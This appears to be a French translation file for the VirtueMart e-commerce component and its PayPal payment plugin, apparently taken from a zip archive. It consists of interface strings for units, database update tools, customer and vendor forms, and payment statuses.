      Pour enlever les tables de VirtueMart, supprimez directement dans la base de données toutes les tables avec le préfixe _virtuemart_." COM_VIRTUEMART_UNINSTALL_THANKYOU="Merci d'utiliser VirtueMart !" COM_VIRTUEMART_UNIT_NAME_100MG="100 milligrammes" COM_VIRTUEMART_UNIT_NAME_100ML="100 millilitres" COM_VIRTUEMART_UNIT_NAME_CM="Centimètres" COM_VIRTUEMART_UNIT_NAME_CUBM="Mètres cube" COM_VIRTUEMART_UNIT_NAME_FOOT="Pied" COM_VIRTUEMART_UNIT_NAME_G="Grammes" COM_VIRTUEMART_UNIT_NAME_INCH="Pouces" COM_VIRTUEMART_UNIT_NAME_KG="Kilogrammes" COM_VIRTUEMART_UNIT_NAME_L="Litre" COM_VIRTUEMART_UNIT_NAME_LB="Livres" COM_VIRTUEMART_UNIT_NAME_M="Mètres" COM_VIRTUEMART_UNIT_NAME_MG="Milligrammes" COM_VIRTUEMART_UNIT_NAME_MM="Millimètres" COM_VIRTUEMART_UNIT_NAME_ONCE="Once" COM_VIRTUEMART_UNIT_NAME_SM="Mètre carré" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100MG="100 mg" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="Kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="Lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="Mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISH="Dépublié" COM_VIRTUEMART_UNPUBLISHED="Dépublié" COM_VIRTUEMART_UNPUBLISH_ITEM="Élément dépublié" COM_VIRTUEMART_UNWRITABLE="Non modifiable" COM_VIRTUEMART_UPDATE="Mettre à jour" COM_VIRTUEMART_UPDATEDATABASE="Installer les tables
      ou si nécessaire
      les met à jour" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="Installation / mise à jour des tables ?" COM_VIRTUEMART_UPDATE_ALL="tout" COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="Vérifier maintenant" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="Téléchargement de la mise à jour" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="Dernière version de VirtueMart disponible" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="Version de VirtueMart installée" COM_VIRTUEMART_UPDATE_GENERAL="générale" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="Installation des exemples VirtueMart. Etes-vous sûr?" COM_VIRTUEMART_UPDATE_MIGRATION="Mise à Jour & Migration de la Base Données" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="Paramètre de temps d'exécution max du serveur " COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="Limite de mémoire du serveur" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="Migration %s" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="Commencer la migration de %s ?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="Outils de migration des données du composant VirtueMart version 1.1.x en VirtueMart version 2.0.y" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

      Avertissement


      L'utilisation de ces outils peut détruire votre boutique complètement. Ce sont des outils fait pour les développeurs.
      Si vous voulez désinstaller complètement votre boutique et supprimer toutes les données, vous pouvez utiliser 'supprimer toutes les données'. S'il vous plaît, à utiliser avec prudence. Lors de l'utilisation dans une boutique corrompue faites un export de votre base de données." COM_VIRTUEMART_UPDATE_NONEWVERSION="Vous avez la dernière version de VirtueMart" COM_VIRTUEMART_UPDATE_ORDERS="commandes" COM_VIRTUEMART_UPDATE_PATCH_APPLY="Appliquer le patch maintenant" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="J'ai lu les Warnings et je suis sûr de vouloir appliquer maintenant le patch sur mon installation VirtueMart.\n" COM_VIRTUEMART_UPDATE_PATCH_DATE="Date de sortie" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="Description" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="Détails du patch" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="Les fichiers / répertoires qui doivent être mis à jour ne sont pas tous en écriture. Veuillez corriger les permissions avant tout." COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="Fichiers à mettre à jour" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="S'il vous plaît cochez la case avant d'appliquer le patch." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="Requêtes qui doivent être exécutées sur la base de données" COM_VIRTUEMART_UPDATE_PATCH_STATUS="Status" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="Les Fichiers / Répertoires ne sont pas en mode écriture" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="Ecriture Ok" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="%1$s des médias synchronisés pour %2$s dans %3$s répertoire" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="%1$s fichiers synchronisés" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="La synchronisation n'est pas terminée, merci de l'exécuter à nouveau" COM_VIRTUEMART_UPDATE_PRODUCTS="produits" COM_VIRTUEMART_UPDATE_REMOVEDATA="Supprimer les données VirtueMart" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="Supprimer toutes données de la boutique VirtueMart. Êtes-vous sûr ?" COM_VIRTUEMART_UPDATE_REMOVETABLES="Supprimer les tables VirtueMart" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="Supprimer toutes les tables VirtueMart. VirtueMart ne sera plus utilisable. Êtes-vous sûr ?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS="Remettre les paramètres par défaut" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="Restauration des paramètres aux valeurs par défaut. Êtes-vous sûr ?" COM_VIRTUEMART_UPDATE_STATUS="Mise à jour du statut" COM_VIRTUEMART_UPDATE_TOOLS_TAB="Outils de base de données" COM_VIRTUEMART_UPDATE_USERS="utilisateurs" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="Mise à jour des tables de utilisées par les plugins" COM_VIRTUEMART_UPDATE_WARNING_TEXT="L'installation d'une mise à jour de VirtueMart en utilisant une archive peut causer des dommages sur votre site. Si vous avez précédemment modifié certains fichiers du composant VirtueMart, le processus de mise à jour écrasera tous les fichiers listés ci-dessous - il ne fait pas un différentiel, mais il remplace le fichier existant par le nouveau. Si vous avez modifié vous même des fichiers de VirtueMart, cela peut conduire à des fichiers manquants et des inconsistances de classe / fonction dépendances." COM_VIRTUEMART_UPDATE_WARNING_TITLE="Mise en garde générale" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="Mise à jour RÉUSSIE" COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="Un fichier avec le même nom existe déjà" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="Bonjour %s, Merci de vous être inscrit sur le site %s. Vous pouvez maintenant vous connecter à %s en utilisant le nom d'utilisateur et mot de passe choisis lors de votre inscription." COM_VIRTUEMART_USEND_MSG_ACTIVATE="Bonjour %s, Merci de vous être inscrit sur le site %s. Votre compte a été créé et doit être activé pour que vous puissiez l'utiliser. Pour activer le compte, cliquez sur le lien suivant ou copiez-collez-le dans votre navigateur" COM_VIRTUEMART_USER="Client" COM_VIRTUEMART_USERFIELD="Champ formulaire client" COM_VIRTUEMART_USERFIELDS="Champ utilisateur" COM_VIRTUEMART_USERFIELDS_ADDVALUE="Ajouter une valeur" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="Utilisez le tableau ci-dessous pour ajouter de nouvelles valeurs." COM_VIRTUEMART_USERFIELDS_COLUMNS="Colonnes" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="Description, type de contenu : text ou HTML" COM_VIRTUEMART_USERFIELDS_FORM_LBL="Informations complémentaires" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hypertexte et URL" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="Longueur maximale" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="Paramètres de plugin supplémentaires" COM_VIRTUEMART_USERFIELDS_READONLY="Lecture seulement" COM_VIRTUEMART_USERFIELDS_ROWS="Lignes" COM_VIRTUEMART_USERFIELDS_SIZE="Taille du champ" COM_VIRTUEMART_USERFIELDS_URL_ONLY="URL seulement" COM_VIRTUEMART_USERFIELD_DETAILS="Détails des champs d'utilisateurs" COM_VIRTUEMART_USERFIELD_S="Formulaire client" COM_VIRTUEMART_USERGROUPS_ADD="Ajouter / modifier un groupe d'utilisateurs" COM_VIRTUEMART_USERGROUPS_LEVEL="Niveau du groupe d'utilisateurs" COM_VIRTUEMART_USERGROUPS_LIST="Liste de Groupe d'utilisateur" COM_VIRTUEMART_USERGROUPS_LIST_NAME="Nom du groupe d'utilisateurs" COM_VIRTUEMART_USERGROUP_DETAILS="Détails des groupes d'utilisateurs" COM_VIRTUEMART_USERINFO_ID="user information ID" COM_VIRTUEMART_USERNAME="Nom d'utilisateur" COM_VIRTUEMART_USERS="Utilisateurs" COM_VIRTUEMART_USERS_SYNCRONIZED="Utilisateurs synchronisés" COM_VIRTUEMART_USER_DATA_STORED="Données utilisateurs enregistrées" COM_VIRTUEMART_USER_DELETE_ST="Supprime l'adresse" COM_VIRTUEMART_USER_DISPLAYED_NAME="Nom à afficher" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Edite l'addresse du client" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="Edite l'addresse du client" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="Vous ne pouvez pas supprimer cet utilisateur car il est le seul Super Administrateur actif pour votre site." COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="Vous ne pouvez pas modifier ce groupe d'utilisateurs, puisque l'utilisateur est le seul Super Administrateur actif de votre site." COM_VIRTUEMART_USER_FORM_ADDRESS_1="Adresse 1" COM_VIRTUEMART_USER_FORM_ADDRESS_2="Adresse 2" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="Nom de l'adresse" COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Ajouter une adresse" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Informations de facturation" COM_VIRTUEMART_USER_FORM_BLOCKUSER="Utilisateur bloqué" COM_VIRTUEMART_USER_FORM_CITY="Ville" COM_VIRTUEMART_USER_FORM_COMPANY_NAME="Nom de la société" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="Changer les coordonnées" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_FAX="Fax" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_NAME="Nom" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_POSITION="Position" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_TELEPHONE="Téléphone" COM_VIRTUEMART_USER_FORM_COUNTRY="Pays" COM_VIRTUEMART_USER_FORM_CUSTOMER_NUMBER="Numéro de client" COM_VIRTUEMART_USER_FORM_FAX="Fax" COM_VIRTUEMART_USER_FORM_FIRST_NAME="Prénom" COM_VIRTUEMART_USER_FORM_GROUP="Groupe" COM_VIRTUEMART_USER_FORM_LASTVISITDATE="Date de la dernière visite" COM_VIRTUEMART_USER_FORM_LASTVISIT_NEVER="Jamais" COM_VIRTUEMART_USER_FORM_LAST_NAME="Nom" COM_VIRTUEMART_USER_FORM_LBL="Ajouter des informations" COM_VIRTUEMART_USER_FORM_LEGEND_CONTACTINFO="Informations de contact" COM_VIRTUEMART_USER_FORM_LEGEND_PARAMETERS="Paramètres" COM_VIRTUEMART_USER_FORM_LEGEND_USERDETAILS="Informations utilisateur" COM_VIRTUEMART_USER_FORM_MIDDLE_NAME="2ème prénom" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="Merci de remplir les champs obligatoires" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="Veuillez remplir les champs obligatoires, allez à l'onglet %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="Nouveau mot de passe" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_1="Aucun contact n'est lié à cet utilisateur" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_2="Plus de détails 'Composants -> Contacts -> Contacts'." COM_VIRTUEMART_USER_FORM_PERMS="Autorisations" COM_VIRTUEMART_USER_FORM_PHONE2="Portable" COM_VIRTUEMART_USER_FORM_PHONE="Téléphone" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Recevoir des e-mails système" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Date de l'inscription" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Adresses de livraison" COM_VIRTUEMART_USER_FORM_STATE="Etat/Province/Région" COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO="Informations générales sur l'utilisateur" COM_VIRTUEMART_USER_FORM_TITLE="Civilité" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Vérifier le mot de passe" COM_VIRTUEMART_USER_FORM_ZIP="Code postal" COM_VIRTUEMART_USER_GROUP="Groupe" COM_VIRTUEMART_USER_ID="user ID" COM_VIRTUEMART_USER_ISNOTVENDOR="N'est pas un vendeur" COM_VIRTUEMART_USER_ISVENDOR="Est un vendeur" COM_VIRTUEMART_USER_IS_VENDOR="Vendeur ?" COM_VIRTUEMART_USER_LIST_LBL="Liste des utilisateurs" COM_VIRTUEMART_USER_NOSHIPPINGADDR="Aucune adresse de livraison." COM_VIRTUEMART_USER_REGISTRATION_DISABLED="L'enregistrement des utilisateurs est désactivé, il doit être activé afin de continuer." COM_VIRTUEMART_USER_S="Clients" COM_VIRTUEMART_USER_SAVED="Clients enregistrés" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="Le client %s a un profil incomplet" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Affiche Gestion du Compte" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="Gestion du Compte" COM_VIRTUEMART_VALUE="Valeur" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="Des valeurs sont requises pour ce type." COM_VIRTUEMART_VENDOR="Vendeur" COM_VIRTUEMART_VENDOR_DATA_STORED="Données vendeur enregistrées" COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Selectionner un vendeur" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Selectionner un vendeur" COM_VIRTUEMART_VENDOR_FORM_FULL_IMAGE="Image grande taille" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Informations du vendeur" COM_VIRTUEMART_VENDOR_FORM_THUMB_IMAGE="Vignette" COM_VIRTUEMART_VENDOR_ID="Vendeur" COM_VIRTUEMART_VENDOR_IMAGE="Image Vendor" COM_VIRTUEMART_VENDOR_NAME="Nom du Vendeur" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Affiche la page contact d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Affiche la page contact d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Affiche les vendeurs de VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Affiche les vendeurs de VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Affiche les détails d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Affiche le détail d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="Affiche les Conditions Générales de Vente d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="Affiche les CGV d'un vendeur" COM_VIRTUEMART_VERSIONCHECK_TITLE="Vérifiez la version de VirtueMart" COM_VIRTUEMART_VIEW="Voir" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="Id du client" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="Numéro de la commande" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="ID du produit" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="États " COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="Id Informations du client" COM_VIRTUEMART_VIRTUEMART_USER_ID="ID du client" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="ID du vendeur" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="Page d'accueil de VirtueMart" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Affiche la page d'accueil de VirtueMart" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="Visible pour le client" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="Visible pour le vendeur" COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="Vous devez entrer une id pour le produit ." COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="S'il vous plait, sélectionnez une id de liste d'attente à supprimer" COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="Vous êtes déjà sur la liste d'attente de ce produit." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="Vous devez entrer une adresse e-mail pour être mis sur la liste d'attente." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="S'il vous plaît, veuillez fournir une adresse e-mail valide." COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="Vous devez choisir un produit pour être inclus sur la liste d'attente." COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="Attention, le %1$s est vide. Pour des raisons de sécurité, il est très important de créer un dossier dans un chemin non accessible par une URL. Créer aussi un dossier pour les les factures de stocker vos données sensibles en sécurité. Notre chemin est suggéré pour votre système d' %2$s" COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="Désolé, nous n'avon spas pu créer le répertoire pour les 'invoices' dans le %1$s. Merci de créer manuellement ce dossier." COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="Attention, le %1$s n'est pas correct. Pour des raisons de sécurité, il est très important de créer un dossier dans un chemin n'est pas accessible par une URL, créer également un dossier dans les factures de stocker vos données sensibles en sécurité. Notre chemin est suggéré pour votre système d'%2$s" COM_VIRTUEMART_WEEK="Semaine" COM_VIRTUEMART_WEEKS="Semaines" COM_VIRTUEMART_WEEK_S="Semaines" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Unité de poids par défaut" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="Poids de l'unité par défaut utilisée pour les produits. Cette valeur peut être modifiée pour chaque produit" COM_VIRTUEMART_WORLDZONE="Nom de la zone" COM_VIRTUEMART_WRITABLE="Modifiable" COM_VIRTUEMART_X_CHILD_PRODUCT="%s Enfant(s)" COM_VIRTUEMART_YEAR="An" COM_VIRTUEMART_YEAR_S="Ans" COM_VIRTUEMART_YES="Oui" COM_VIRTUEMART_YOUR_VERSION="Votre version" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="Zone actuelle" PK@y>\K,,-language/fr-FR/fr-FR.plg_vmpayment_paypal.ininuW+AVMPAYMENT_PAYPAL="Plug-in de paiement PayPal pour Vm" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE="Client peuvent modifier l'adresse de livraison Paypal?" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE_DESC="L'adresse spécifiée dans les variables pré-remplies remplace l'adresse de livraison enregistrée auprès de PayPal. Le payeur voit l'adresse qui est transmise mais ne peut pas la modifier. Aucune adresse n'est affichée si l'adresse n'est pas valable (par exemple si des champs requis, tel que le pays, sont manquants) ou pas incluse." VMPAYMENT_PAYPAL_AMOUNT="Montant" VMPAYMENT_PAYPAL_AUTOMATIC_FILLOUT="Plus d'informations Address Handling (U.S. Merchants Only)" VMPAYMENT_PAYPAL_CLICK_ON_BUTTON="Si vous n'êtes pas redirigé après 10 secondes, merci de cliquer sur le bouton ci-dessous." VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL="Pourcentage Montant total des produits" VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL_EXPLAIN="Pourcentage à appliquer sur le Montant total des produits. Le cout de la livraison n'est pas inclu." VMPAYMENT_PAYPAL_COST_PER_TRANSACTION="Frais par transaction" VMPAYMENT_PAYPAL_COST_PER_TRANSACTION_EXPLAIN="Montant forfaitaire à appliquer par transaction" VMPAYMENT_PAYPAL_COUNTRIES="Pays" VMPAYMENT_PAYPAL_COUNTRIES_DESC="Merci de sélectionner le pays pour lequel ce mode de paiement s'applique. Si aucun pays n'est sélectionné, ce mode de paiement sera appliqué pour tous les pays." VMPAYMENT_PAYPAL_CURRENCY="Devise du paiement" VMPAYMENT_PAYPAL_CURRENCY_DESC="Devise du paiement" VMPAYMENT_PAYPAL_CURRENCY_DESC="Devise du paiement" VMPAYMENT_PAYPAL_EMAIL_CURRENCY="Devise de l'email" VMPAYMENT_PAYPAL_EMAIL_CURRENCY_DESC="Devise dans laquelle les emails seront envoyés" VMPAYMENT_PAYPAL_EMAIL_CURRENCY_VENDOR="Devise du vendeur" VMPAYMENT_PAYPAL_EMAIL_CURRENCY_PAYMENT="Devise du paiement" VMPAYMENT_PAYPAL_CUSTOM="Valeur personnalisée" VMPAYMENT_PAYPAL_DEBUG="Debug" VMPAYMENT_PAYPAL_DEBUG_DESC="Debug" VMPAYMENT_PAYPAL_EMAIL="E-mail de paiement PayPal:" VMPAYMENT_PAYPAL_EMAIL_DESC="Votre adresse e-mail Business pour les paiements PayPal. Également utilisé comme receiver_email." VMPAYMENT_PAYPAL_EMAIL_SENT="Email envoyé" VMPAYMENT_PAYPAL_ERROR_EMAIL_SUBJECT="Erreur lors d'un paiement avec Paypal" VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION="Validation IPN invalide" VMPAYMENT_PAYPAL_ERROR_POSTING_IPN="Une erreur est survenue pendant la transaction : %1s, %2d" VMPAYMENT_PAYPAL_INVOICE="Numéro de commande" VMPAYMENT_PAYPAL_LOGOS="Logos" VMPAYMENT_PAYPAL_LOGOS_DESC="Logos à afficher avec le nom du paiement" VMPAYMENT_PAYPAL_MAX_AMOUNT="Montant maximal" VMPAYMENT_PAYPAL_MAX_AMOUNT_EXPLAIN="Montant de la commande maximum à proposer ce paiement" VMPAYMENT_PAYPAL_MERCHANT_EMAIL_NOT_SET="Email pour Paypal n'est pas définie. Merci de configurer ce paramètre dans votre mode de paiement Paypal." VMPAYMENT_PAYPAL_MIN_AMOUNT="Montant minimum" VMPAYMENT_PAYPAL_MIN_AMOUNT_EXPLAIN="Montant minimum de commande pour proposer ce paiement" VMPAYMENT_PAYPAL_NAME="Nom de paiement" VMPAYMENT_PAYPAL_NO_SHIPPING="Adresse de livraison" VMPAYMENT_PAYPAL_NO_SHIPPING_DESC="Conditions sur la saisie de l'adresse de livraison" VMPAYMENT_PAYPAL_NO_SHIPPING_DO_NOT_PROMPT="Client ne doit pas saisir une adresse de livraison" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT="Client doit saisir une adresse de livraison, mais ce n'est pas obligatoire" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT_REQUIRE="Client doit saisir une adresse de livraison, et c'est obligatoire" VMPAYMENT_PAYPAL_ONLYVERIFIED="Accepter que les acheteurs vérifiés?" VMPAYMENT_PAYPAL_ONLYVERIFIED_EXPLAIN="Précisez si vous acceptez seulement les règlements d'acheteurs dont le compta a été vérifié par PayPal (quand un compte n'a pas été vérifié, PayPal transfère les fonds mais ne garantit pas la validité de la vente)" VMPAYMENT_PAYPAL_ORDER_NUMBER="Numéro de la commande" VMPAYMENT_PAYPAL_PARAMS="ACCES PAYPAL" VMPAYMENT_PAYPAL_PARAMS_DESC="Paramètres PayPal" VMPAYMENT_PAYPAL_PAYMENT_AMOUNT_INCORRECT="Montant incorrect" VMPAYMENT_PAYPAL_PAYMENT_CANCELLED="Vous avez annulé votre paiement" VMPAYMENT_PAYPAL_PAYMENT_INFO="Informations de paiement" VMPAYMENT_PAYPAL_PAYMENT_NAME="Mode du paiement" VMPAYMENT_PAYPAL_PAYMENT_PAGE="RETOUR A LA BOUTIQUE" VMPAYMENT_PAYPAL_PAYMENT_PRICE="Paiement" VMPAYMENT_PAYPAL_PAYMENT_SETTINGS="PARAMETRES" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CANCELED="Le paiement pour la commande %s a échoué. Raison:" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED="Le règlement de votre commande %s a été confirmé par PayPal" VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING="Le paiement pour la commande %s est en attente. Raison:" VMPAYMENT_PAYPAL_PAYMENT_TITLE="PAYPAL" VMPAYMENT_PAYPAL_PAYMENT_TOTAL_CURRENCY="Total dans la devise du paiement" VMPAYMENT_PAYPAL_PAYMENT_WARNING="Warning - Le vendeur et le client reçoivent un email QUE lorsque la transaction est terminée." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ADDRESS="You did not include a confirmed shipping address" VMPAYMENT_PAYPAL_PENDING_REASON_FE_AUTHORIZATION="The payment action is set to Authorization." VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT="Le paiement est en attente." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ECHECK="The payment is pending because it was made by an eCheck that has not yet cleared." VMPAYMENT_PAYPAL_PENDING_REASON_FE_INTL="Le paiement est en attente parce que les magasins est titulaire d'un compte non-US" VMPAYMENT_PAYPAL_PENDING_REASON_FE_MULTI_CURRENCY="La boutique acceptera manuellement le paiement de cette devise" VMPAYMENT_PAYPAL_PENDING_REASON_FE_ORDER="You set the payment action to Order and have not yet captured funds." VMPAYMENT_PAYPAL_PENDING_REASON_FE_UNILATERAL="Le paiement est en attente parce qu'il a été faite à une adresse e-mail qui n'est pas encore enregistrée ou confirmée." VMPAYMENT_PAYPAL_PLEASE_WAIT="Merci de patienter pendant que vous êtes redirigé vers %s" VMPAYMENT_PAYPAL_REDIRECT_MESSAGE="Vous allez être redirigé vers Paypal. Merci de patienter" VMPAYMENT_PAYPAL_RESPONSE_BUSINESS="Adresse e-mail ou ID du compte du destinataire du paiement" VMPAYMENT_PAYPAL_RESPONSE_FIRST_NAME="Prénom" VMPAYMENT_PAYPAL_RESPONSE_INVOICE="Facture" VMPAYMENT_PAYPAL_RESPONSE_LAST_NAME="Nom" VMPAYMENT_PAYPAL_RESPONSE_MC_CURRENCY="Devise" VMPAYMENT_PAYPAL_RESPONSE_MC_FEE="Frais de transaction" VMPAYMENT_PAYPAL_RESPONSE_MC_GROSS="Montant total du paiement par le client" VMPAYMENT_PAYPAL_RESPONSE_NOTIFICATION="Notification" VMPAYMENT_PAYPAL_RESPONSE_PAYER_EMAIL="Adresse du client e-mail principale" VMPAYMENT_PAYPAL_RESPONSE_PAYER_ID="Identifiant client unique" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_DATE="Date du Paiement" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS="Statut du Paiement" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON="Raison en attente" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ADDRESS="The payment is pending because your customer did not include a confirmed shipping address and your Payment Receiving Preferences is set yo allow you to manually accept or deny each of these payments. To change your preference, go to the Preferences section of your Profile." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_AUTHORIZATION="The payment action is set to Authorization and have not yet captured funds." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ECHECK="The payment is pending because it was made by an eCheck that has not yet cleared." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_INTL="The payment is pending because you hold a non-U.S. account and do not have a withdrawal mechanism. You must manually accept or deny this payment from your Account Overview." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_MULTI_CURRENCY="You do not have a balance in the currency sent, and you do not have your Payment Receiving Preferences set to automatically convert and accept this payment. You must manually accept or deny this payment." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ORDER="You set the payment action to Order and have not yet captured funds." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_OTHER="The payment is pending for a reason other than those listed above. For more information, contact PayPal Customer Service." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_PAYMENTREVIEW="The payment is pending while it is being reviewed by PayPal for risk." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UNILATERAL="The payment is pending because it was made to an email address that is not yet registered or confirmed." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UPGRADE="The payment is pending because it was made via credit card and you must upgrade your account to Business or Premier status in order to receive the funds. upgrade can also mean that you have reached the monthly limit for transactions on your account." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_VERIFY="The payment is pending because you are not yet verified. You must verify your account before you can accept this payment." VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITY="éligibilité" 